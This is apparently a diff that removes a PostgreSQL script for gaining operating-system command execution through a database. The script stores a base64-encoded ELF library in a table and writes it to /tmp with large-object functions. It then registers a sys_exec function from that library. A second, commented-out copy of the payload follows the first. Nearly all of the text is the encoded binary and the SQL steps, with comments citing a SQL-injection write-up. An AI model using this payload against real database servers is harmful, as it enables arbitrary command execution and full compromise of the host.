-INSERT INTO udftest(data) VALUES ('f0VMRgEBAQAAAAAAAAAAAAMAAwABAAAAYAYAADQAAAB8EQAAAAAAADQAIAAFACgAGQAYAAEAAAAAAAAAAAAAAAAAAAD4CQAA+AkAAAUAAAAAEAAAAQAAAAQPAAAEHwAABB8AAAgBAAAQAQAABgAAAAAQAAACAAAAGA8AABgfAAAYHwAA0AAAANAAAAAGAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAUuV0ZAQPAAAEHwAABB8AAPwAAAD8AAAABAAAAAEAAAARAAAAGgAAAAAAAAANAAAAAAAAAAQAAAAAAAAAAgAAAAcAAAAAAAAAFQAAABcAAAAOAAAADwAAAAwAAAATAAAACAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAwAAAAUAAAAAAAAAEgAAABgAAAAAAAAACQAAABQAAAALAAAAFgAAAAAAAAAAAAAAAAAAABkAAAAAAAAACgAAAAAAAAAQAAAAAAAAABEAAAADAAAAEAAAAAIAAAAGAAAAiACgAQTNRFkQAAAAFgAAABgAAAAuZ1QeqGi+EqpfvhK645J8QkXV7DNeVB7YcVgcuY3xDurT7w7HDabUAAAAAAAAAAAAAAAAAAAAAJAAAAAAAAAAAAAAABIAAADLAAAAAAAAAAAAAAAQAAAAAQAAAAAAAAAAAAAAIAAAACsAAAAAAAAAAAAAACAAAACWAAAAAAAAAAAAAAASAAAAxAAAAAAAAAAAAAAAEgAAAJ4AAAAAAAAAAAAAABIAAACmAAAAAAAAAAAAAAASAAAAzAAAAAAAAAAAAAAAEgAAAIkAAAAAAAAAAAAAABIAAACCAAAAAAAAAAAAAAASAAAAswAAAAAAAAAAAAAAEgAAABwAAAAAAAAAA');
-UPDATE udftest SET data=data||'AAAACIAAACsAAAAAAAAAAAAAAASAAAAcQAAAAAAAAAAAAAAEAAAAE0AAAAmBwAACgAAABIACwBWAAAAAAkAAHwAAAASAAsAaAAAADoHAADGAQAAEgALAO4AAAAUIAAAAAAAABAA8f/bAAAADCAAAAAAAAAQAPH/XwAAADAHAAAKAAAAEgALAOIAAAAMIAAAAAAAABAA8f8QAAAA+AUAAAAAAAASAAkAFgAAALgJAAAAAAAAEgAMAD8AAAAcBwAACgAAABIACwAAX19nbW9uX3N0YXJ0X18AX2luaXQAX2ZpbmkAX19jeGFfZmluYWxpemUAX0p2X1JlZ2lzdGVyQ2xhc3NlcwBQZ19tYWdpY19mdW5jAHBnX2ZpbmZvX3N5c19leGVjAHBnX2ZpbmZvX3N5c19ldmFsAHBnX2RldG9hc3RfZGF0dW0AbWFsbG9jAG1lbWNweQBwb3BlbgByZWFsbG9jAHN0cm5jcHkAZmdldHMAcGNsb3NlAF9fc3RhY2tfY2hrX2ZhaWwAc3lzdGVtAHBmcmVlAGxpYmMuc28uNgBfZWRhdGEAX19ic3Nfc3RhcnQAX2VuZABHTElCQ18yLjEuMwBHTElCQ18yLjQAR0xJQkNfMi4wAEdMSUJDXzIuMQAAAAACAAAAAAAAAAMAAwADAAMAAwADAAMABAAFAAIAAAABAAEAAQABAAEAAQABAAEAAQABAAAAAQAEANEAAAAQAAAAAAAAAHMfaQkAAAUA8wAAABAAAAAUaWkNAAAEAP8AAAAQAAAAEGlpDQAAAwAJAQAAEAAAABFpaQ0AAAIAEwEAAAAAAAAgBwAACAAAACoHAAAIAAAANAcAAAgAAACjBwAACAAAAAggAAAIAAAAWwcAAAIPAAAZCQAAAg8AAHAHAAACCwAAlQ';
-UPDATE udftest SET data=data||'cAAAILAACNCAAAAgsAAC4JAAACCwAAhQcAAAIKAADaCAAAAgoAAEMJAAACCgAAqwcAAAIBAADwBwAAAgUAABgIAAACBwAAPggAAAIIAABUCAAAAg4AAPEIAAACDAAATwkAAAIGAABZCQAAAgkAAGkJAAACAgAA6B8AAAYDAADsHwAABgQAAPAfAAAGDQAAACAAAAcDAAAEIAAABw0AAFWJ5VOD7AToAAAAAFuBw/AZAACLk/T///+F0nQF6B4AAADowQAAAOhcAwAAWFvJw/+zBAAAAP+jCAAAAAAAAAD/owwAAABoAAAAAOng/////6MQAAAAaAgAAADp0P///wAAAAAAAAAAVYnlVlPorQAAAIHDihkAAIPsEIC7GAAAAAB1XYuD/P///4XAdA6LgxQAAACJBCTotP///4uLHAAAAI2DHP///42TGP///ynQwfgCjXD/OfFzII22AAAAAI1BAYmDHAAAAP+Ugxj///+LixwAAAA58XLmxoMYAAAAAYPEEFteXcNVieVT6C4AAACBwwsZAACD7ASLkyD///+F0nQVi5P4////hdJ0C42DIP///4kEJP/Sg8QEW13Dixwkw5BVieW44AkAAF3DVYnluNwJAABdw1WJ5bjYCQAAXcNVieVXVlOB7CwEAABloRQAAACJRfAxwItFCItAEIkEJOj8////iceLAMHoAo1w/IPoA4kEJOj8////icONRwSJdCQIiUQkBIkcJOj8////xgQzAMcEJAEAAADo/P///4mF2Pv//8dEJATUCQAAiRwk6Pz///+Jhdz7///HheD7//8AAAAA62GNvfD7//+4AAAAALn/////8q6JyPfQjXD/i53g+///AfOJXCQEi5XY+///iRQk6Pz///+Jhdj7//+JdCQIjYXw+///iUQ';
-UPDATE udftest SET data=data||'kBIuF2Pv//wOF4Pv//4kEJOj8////iZ3g+///i5Xc+///iVQkCMdEJAQABAAAjYXw+///iQQk6Pz///+FwA+Fd////4uV3Pv//4kUJOj8////i4XY+///gDgAdAuLleD7///GRBD/AL7/////i73Y+///uwAAAACJ8YnY8q730YPBA4kMJOj8////iYXU+///i73Y+///ifGJ2PKu99GNDI0MAAAAi5XU+///iQqLvdj7//+J8fKu99GD6QGJ0IPABIlMJAiLldj7//+JVCQEiQQk6Pz///+LhdT7//+LVfBlMxUUAAAAdAXo/P///4HELAQAAFteX13DVYnlg+wYiV30iXX4iX38i1UIi0IQiQQk6Pz///+Jx4sAwegCjXD8g+gDiQQk6Pz///+Jw41HBIl0JAiJRCQEiRwk6Pz////GBDMAiRwk6Pz///+JxokcJOj8////i0UIO3gQdAiJPCTo/P///4nwi130i3X4i338iexdw5CQkJBVieVWU+iN/f//gcNqFgAAi4MQ////g/j/dBmNsxD///+NtCYAAAAAg+4E/9CLBoP4/3X0W15dw1WJ5VOD7AToAAAAAFuBwzAWAADokPz//1lbycNyAAAAAQAAAAEAAAAUAAAAIwMAAGQAAAAgAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
-UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
-UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////8AAAAA/////wAAAAAAAAAAAQAAANEAAAAMAAAA+AUAAA0AAAC4CQAABAAAANQAAAD1/v9viAEAAAUAAAB0AwAABgAAANQBAAAKAAAAHQEAAAsAAAAQAAAAAwAAAPQfAAACAAAAEAAAABQAAAARAAAAFwAAAOgFAAARAAAAGAUAABIAAADQAAAAEwAAAAgAAAAWAAAAAAAAAP7//2/IBAAA////bwEAAADw//9vkgQAAPr//28FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgfAAAAAAAAAAAAAD4GAABOBgAACCAAAA';
-UPDATE udftest SET data=data||'BHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAEdDQzogKFVidW50dSA0LjMuMi0xdWJ1bnR1MTIpIDQuMy4yAABHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAC5zaHN0cnRhYgAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsLmR5bgAucmVsLnBsdAAuaW5pdAAudGV4dAAuZmluaQAucm9kYXRhAC5laF9mcmFtZQAuY3RvcnMALmR0b3JzAC5qY3IALmR5bmFtaWMALmdvdAAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAFAAAAAgAAANQAAADUAAAAtAAAAAMAAAAAAAAABAAAAAQAAAALAAAA9v//bwIAAACIAQAAiAEAAEwAAAADAAAAAAAAAAQAAAAEAAAAFQAAAAsAAAACAAAA1AEAANQBAACgAQAABAAAAAEAAAAEAAAAEAAAAB0AAAADAAAAAgAAAHQDAAB0AwAAHQEAAAAAAAAAAAAAAQAAAAAAAAAlAAAA////bwIAAACSBAAAkgQAADQAAAADAAAAAAAAAAIAAAACAAAAMgAAAP7//28CAAAAyAQAAMgEAABQAAAABAAAAAEAAAAEAAAAAAAAAEEAAAAJAAAAAgAAABgFAAAYBQAA0AAAAAMAAAAAAAAABAAAAAg';
-UPDATE udftest SET data=data||'AAABKAAAACQAAAAIAAADoBQAA6AUAABAAAAADAAAACgAAAAQAAAAIAAAAUwAAAAEAAAAGAAAA+AUAAPgFAAAwAAAAAAAAAAAAAAAEAAAAAAAAAE4AAAABAAAABgAAACgGAAAoBgAAMAAAAAAAAAAAAAAABAAAAAQAAABZAAAAAQAAAAYAAABgBgAAYAYAAFgDAAAAAAAAAAAAABAAAAAAAAAAXwAAAAEAAAAGAAAAuAkAALgJAAAcAAAAAAAAAAAAAAAEAAAAAAAAAGUAAAABAAAAAgAAANQJAADUCQAAIAAAAAAAAAAAAAAABAAAAAAAAABtAAAAAQAAAAIAAAD0CQAA9AkAAAQAAAAAAAAAAAAAAAQAAAAAAAAAdwAAAAEAAAADAAAABB8AAAQPAAAIAAAAAAAAAAAAAAAEAAAAAAAAAH4AAAABAAAAAwAAAAwfAAAMDwAACAAAAAAAAAAAAAAABAAAAAAAAACFAAAAAQAAAAMAAAAUHwAAFA8AAAQAAAAAAAAAAAAAAAQAAAAAAAAAigAAAAYAAAADAAAAGB8AABgPAADQAAAABAAAAAAAAAAEAAAACAAAAJMAAAABAAAAAwAAAOgfAADoDwAADAAAAAAAAAAAAAAABAAAAAQAAACYAAAAAQAAAAMAAAD0HwAA9A8AABQAAAAAAAAAAAAAAAQAAAAEAAAAoQAAAAEAAAADAAAACCAAAAgQAAAEAAAAAAAAAAAAAAAEAAAAAAAAAKcAAAAIAAAAAwAAAAwgAAAMEAAACAAAAAAAAAAAAAAABAAAAAAAAACsAAAAAQAAAAAAAAAAAAAADBAAALkAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAMAAAAAAAAAAAAAAMUQAAC1AAAAAAAAAAAAAAABAAAAAAAAAA==';
-
--- SO compiled using PostgreSQL 8.2 C libraries
--- INSERT INTO udftest(data) VALUES ('f0VMRgEBAQAAAAAAAAAAAAMAAwABAAAAYAYAADQAAAB8EQAAAAAAADQAIAAFACgAGQAYAAEAAAAAAAAAAAAAAAAAAAD4CQAA+AkAAAUAAAAAEAAAAQAAAAQPAAAEHwAABB8AAAgBAAAQAQAABgAAAAAQAAACAAAAGA8AABgfAAAYHwAA0AAAANAAAAAGAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAUuV0ZAQPAAAEHwAABB8AAPwAAAD8AAAABAAAAAEAAAARAAAAGgAAAAAAAAANAAAAAAAAAAQAAAAAAAAAAgAAAAcAAAAAAAAAFQAAABcAAAAOAAAADwAAAAwAAAATAAAACAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAwAAAAUAAAAAAAAAEgAAABgAAAAAAAAACQAAABQAAAALAAAAFgAAAAAAAAAAAAAAAAAAABkAAAAAAAAACgAAAAAAAAAQAAAAAAAAABEAAAADAAAAEAAAAAIAAAAGAAAAiACgAQTNRFkQAAAAFgAAABgAAAAuZ1QeqGi+EqpfvhK645J8QkXV7DNeVB7YcVgcuY3xDurT7w7HDabUAAAAAAAAAAAAAAAAAAAAAJAAAAAAAAAAAAAAABIAAADLAAAAAAAAAAAAAAAQAAAAAQAAAAAAAAAAAAAAIAAAACsAAAAAAAAAAAAAACAAAACWAAAAAAAAAAAAAAASAAAAxAAAAAAAAAAAAAAAEgAAAJ4AAAAAAAAAAAAAABIAAACmAAAAAAAAAAAAAAASAAAAzAAAAAAAAAAAAAAAEgAAAIkAAAAAAAAAAAAAABIAAACCAAAAAAAAAAAAAAASAAAAswAAAAAAAAAAAAAAEgAAABwAAAAAAAAAA');
--- UPDATE udftest SET data=data||'AAAACIAAACsAAAAAAAAAAAAAAASAAAAcQAAAAAAAAAAAAAAEAAAAE0AAAAmBwAACgAAABIACwBWAAAA/ggAAH4AAAASAAsAaAAAADoHAADEAQAAEgALAO4AAAAUIAAAAAAAABAA8f/bAAAADCAAAAAAAAAQAPH/XwAAADAHAAAKAAAAEgALAOIAAAAMIAAAAAAAABAA8f8QAAAA+AUAAAAAAAASAAkAFgAAALgJAAAAAAAAEgAMAD8AAAAcBwAACgAAABIACwAAX19nbW9uX3N0YXJ0X18AX2luaXQAX2ZpbmkAX19jeGFfZmluYWxpemUAX0p2X1JlZ2lzdGVyQ2xhc3NlcwBQZ19tYWdpY19mdW5jAHBnX2ZpbmZvX3N5c19leGVjAHBnX2ZpbmZvX3N5c19ldmFsAHBnX2RldG9hc3RfZGF0dW0AbWFsbG9jAG1lbWNweQBwb3BlbgByZWFsbG9jAHN0cm5jcHkAZmdldHMAcGNsb3NlAF9fc3RhY2tfY2hrX2ZhaWwAc3lzdGVtAHBmcmVlAGxpYmMuc28uNgBfZWRhdGEAX19ic3Nfc3RhcnQAX2VuZABHTElCQ18yLjEuMwBHTElCQ18yLjQAR0xJQkNfMi4wAEdMSUJDXzIuMQAAAAACAAAAAAAAAAMAAwADAAMAAwADAAMABAAFAAIAAAABAAEAAQABAAEAAQABAAEAAQABAAAAAQAEANEAAAAQAAAAAAAAAHMfaQkAAAUA8wAAABAAAAAUaWkNAAAEAP8AAAAQAAAAEGlpDQAAAwAJAQAAEAAAABFpaQ0AAAIAEwEAAAAAAAAgBwAACAAAACoHAAAIAAAANAcAAAgAAAClBwAACAAAAAggAAAIAAAAWwcAAAIPAAAXCQAAAg8AAHIHAAACCwAAlw';
--- UPDATE udftest SET data=data||'cAAAILAACPCAAAAgsAAC4JAAACCwAAhwcAAAIKAADYCAAAAgoAAEMJAAACCgAArQcAAAIBAADyBwAAAgUAABoIAAACBwAAQAgAAAIIAABWCAAAAg4AAO8IAAACDAAATwkAAAIGAABZCQAAAgkAAGkJAAACAgAA6B8AAAYDAADsHwAABgQAAPAfAAAGDQAAACAAAAcDAAAEIAAABw0AAFWJ5VOD7AToAAAAAFuBw/AZAACLk/T///+F0nQF6B4AAADowQAAAOhcAwAAWFvJw/+zBAAAAP+jCAAAAAAAAAD/owwAAABoAAAAAOng/////6MQAAAAaAgAAADp0P///wAAAAAAAAAAVYnlVlPorQAAAIHDihkAAIPsEIC7GAAAAAB1XYuD/P///4XAdA6LgxQAAACJBCTotP///4uLHAAAAI2DHP///42TGP///ynQwfgCjXD/OfFzII22AAAAAI1BAYmDHAAAAP+Ugxj///+LixwAAAA58XLmxoMYAAAAAYPEEFteXcNVieVT6C4AAACBwwsZAACD7ASLkyD///+F0nQVi5P4////hdJ0C42DIP///4kEJP/Sg8QEW13Dixwkw5BVieW44AkAAF3DVYnluNwJAABdw1WJ5bjYCQAAXcNVieVXVlOB7CwEAABloRQAAACJRfAxwItFCItAEIkEJOj8////iceLACX///8/jXD8g+gDiQQk6Pz///+Jw41HBIl0JAiJRCQEiRwk6Pz////GBDMAxwQkAQAAAOj8////iYXY+///x0QkBNQJAACJHCTo/P///4mF3Pv//8eF4Pv//wAAAADrYY298Pv//7gAAAAAuf/////yronI99CNcP+LneD7//8B84lcJASLldj7//+JFCTo/P///4mF2Pv//4l0JAiNhfD7//+';
--- UPDATE udftest SET data=data||'JRCQEi4XY+///A4Xg+///iQQk6Pz///+JneD7//+Lldz7//+JVCQIx0QkBAAEAACNhfD7//+JBCTo/P///4XAD4V3////i5Xc+///iRQk6Pz///+Lhdj7//+AOAB0C4uV4Pv//8ZEEP8Avv////+Lvdj7//+7AAAAAInxidjyrvfRg8EDiQwk6Pz///+JhdT7//+Lvdj7//+J8YnY8q730YPBA4uV1Pv//4kKi73Y+///ifHyrvfRg+kBidCDwASJTCQIi5XY+///iVQkBIkEJOj8////i4XU+///i1XwZTMVFAAAAHQF6Pz///+BxCwEAABbXl9dw1WJ5YPsGIld9Il1+Il9/ItVCItCEIkEJOj8////iceLACX///8/jXD8g+gDiQQk6Pz///+Jw41HBIl0JAiJRCQEiRwk6Pz////GBDMAiRwk6Pz///+JxokcJOj8////i0UIO3gQdAiJPCTo/P///4nwi130i3X4i338iexdw5CQkJBVieVWU+iN/f//gcNqFgAAi4MQ////g/j/dBmNsxD///+NtCYAAAAAg+4E/9CLBoP4/3X0W15dw1WJ5VOD7AToAAAAAFuBwzAWAADokPz//1lbycNyAAAAAQAAAAEAAAAUAAAAIgMAAGQAAAAgAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
--- UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
--- UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////8AAAAA/////wAAAAAAAAAAAQAAANEAAAAMAAAA+AUAAA0AAAC4CQAABAAAANQAAAD1/v9viAEAAAUAAAB0AwAABgAAANQBAAAKAAAAHQEAAAsAAAAQAAAAAwAAAPQfAAACAAAAEAAAABQAAAARAAAAFwAAAOgFAAARAAAAGAUAABIAAADQAAAAEwAAAAgAAAAWAAAAAAAAAP7//2/IBAAA////bwEAAADw//9vkgQAAPr//28FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgfAAAAAAAAAAAAAD4GAABOBgAACCAAAA';
--- UPDATE udftest SET data=data||'BHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAEdDQzogKFVidW50dSA0LjMuMi0xdWJ1bnR1MTIpIDQuMy4yAABHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAC5zaHN0cnRhYgAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsLmR5bgAucmVsLnBsdAAuaW5pdAAudGV4dAAuZmluaQAucm9kYXRhAC5laF9mcmFtZQAuY3RvcnMALmR0b3JzAC5qY3IALmR5bmFtaWMALmdvdAAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAFAAAAAgAAANQAAADUAAAAtAAAAAMAAAAAAAAABAAAAAQAAAALAAAA9v//bwIAAACIAQAAiAEAAEwAAAADAAAAAAAAAAQAAAAEAAAAFQAAAAsAAAACAAAA1AEAANQBAACgAQAABAAAAAEAAAAEAAAAEAAAAB0AAAADAAAAAgAAAHQDAAB0AwAAHQEAAAAAAAAAAAAAAQAAAAAAAAAlAAAA////bwIAAACSBAAAkgQAADQAAAADAAAAAAAAAAIAAAACAAAAMgAAAP7//28CAAAAyAQAAMgEAABQAAAABAAAAAEAAAAEAAAAAAAAAEEAAAAJAAAAAgAAABgFAAAYBQAA0AAAAAMAAAAAAAAABAAAAAg';
--- UPDATE udftest SET data=data||'AAABKAAAACQAAAAIAAADoBQAA6AUAABAAAAADAAAACgAAAAQAAAAIAAAAUwAAAAEAAAAGAAAA+AUAAPgFAAAwAAAAAAAAAAAAAAAEAAAAAAAAAE4AAAABAAAABgAAACgGAAAoBgAAMAAAAAAAAAAAAAAABAAAAAQAAABZAAAAAQAAAAYAAABgBgAAYAYAAFgDAAAAAAAAAAAAABAAAAAAAAAAXwAAAAEAAAAGAAAAuAkAALgJAAAcAAAAAAAAAAAAAAAEAAAAAAAAAGUAAAABAAAAAgAAANQJAADUCQAAIAAAAAAAAAAAAAAABAAAAAAAAABtAAAAAQAAAAIAAAD0CQAA9AkAAAQAAAAAAAAAAAAAAAQAAAAAAAAAdwAAAAEAAAADAAAABB8AAAQPAAAIAAAAAAAAAAAAAAAEAAAAAAAAAH4AAAABAAAAAwAAAAwfAAAMDwAACAAAAAAAAAAAAAAABAAAAAAAAACFAAAAAQAAAAMAAAAUHwAAFA8AAAQAAAAAAAAAAAAAAAQAAAAAAAAAigAAAAYAAAADAAAAGB8AABgPAADQAAAABAAAAAAAAAAEAAAACAAAAJMAAAABAAAAAwAAAOgfAADoDwAADAAAAAAAAAAAAAAABAAAAAQAAACYAAAAAQAAAAMAAAD0HwAA9A8AABQAAAAAAAAAAAAAAAQAAAAEAAAAoQAAAAEAAAADAAAACCAAAAgQAAAEAAAAAAAAAAAAAAAEAAAAAAAAAKcAAAAIAAAAAwAAAAwgAAAMEAAACAAAAAAAAAAAAAAABAAAAAAAAACsAAAAAQAAAAAAAAAAAAAADBAAALkAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAMAAAAAAAAAAAAAAMUQAAC1AAAAAAAAAAAAAAABAAAAAAAAAA==';
-
-
--- Create a new OID for a large object, it implicitly adds an entry in the
--- PostgreSQL large objects system table
---
--- References:
--- http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
--- http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
-SELECT lo_unlink(35817);
-SELECT lo_create(35817);
-
-
--- Update the PostgreSQL system large objects table assigning to the just
--- created OID the binary (base64 decoded) UDF as data
---
--- Refereces:
--- http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
-UPDATE pg_largeobject SET data=(DECODE((SELECT data FROM udftest), 'base64')) WHERE loid=35817;
-
-
--- Export the binary UDF OID to a file on the file system
---
--- Any folder where postgres user has read/write/execute access is valid
-SELECT lo_export(35817, '/tmp/lib_postgresqludf_sys.so'); -- -rw-r--r-- 1 postgres postgres
---
--- Notes:
--- If the library file already exists and the postgres user has write
--- access over it, it can overwrite the file
--- The following enumerates the PostgreSQL data directory
--- SELECT CURRENT_SETTING('data_directory')
--- Reference:
--- http://www.postgresql.org/docs/8.3/interactive/functions-admin.html
--- The following will save into /var/lib/postgresql/M.m/main/lib_postgresqludf_sys.so
--- SELECT lo_export(35817, 'lib_postgresqludf_sys.so'); -- -rw-r--r-- 1 postgres postgres
--- The following would save into / (Permission denied)
--- SELECT lo_export(35817, '/lib_postgresqludf_sys.so');
-
-
--- Create two functions from the binary UDF file
-CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
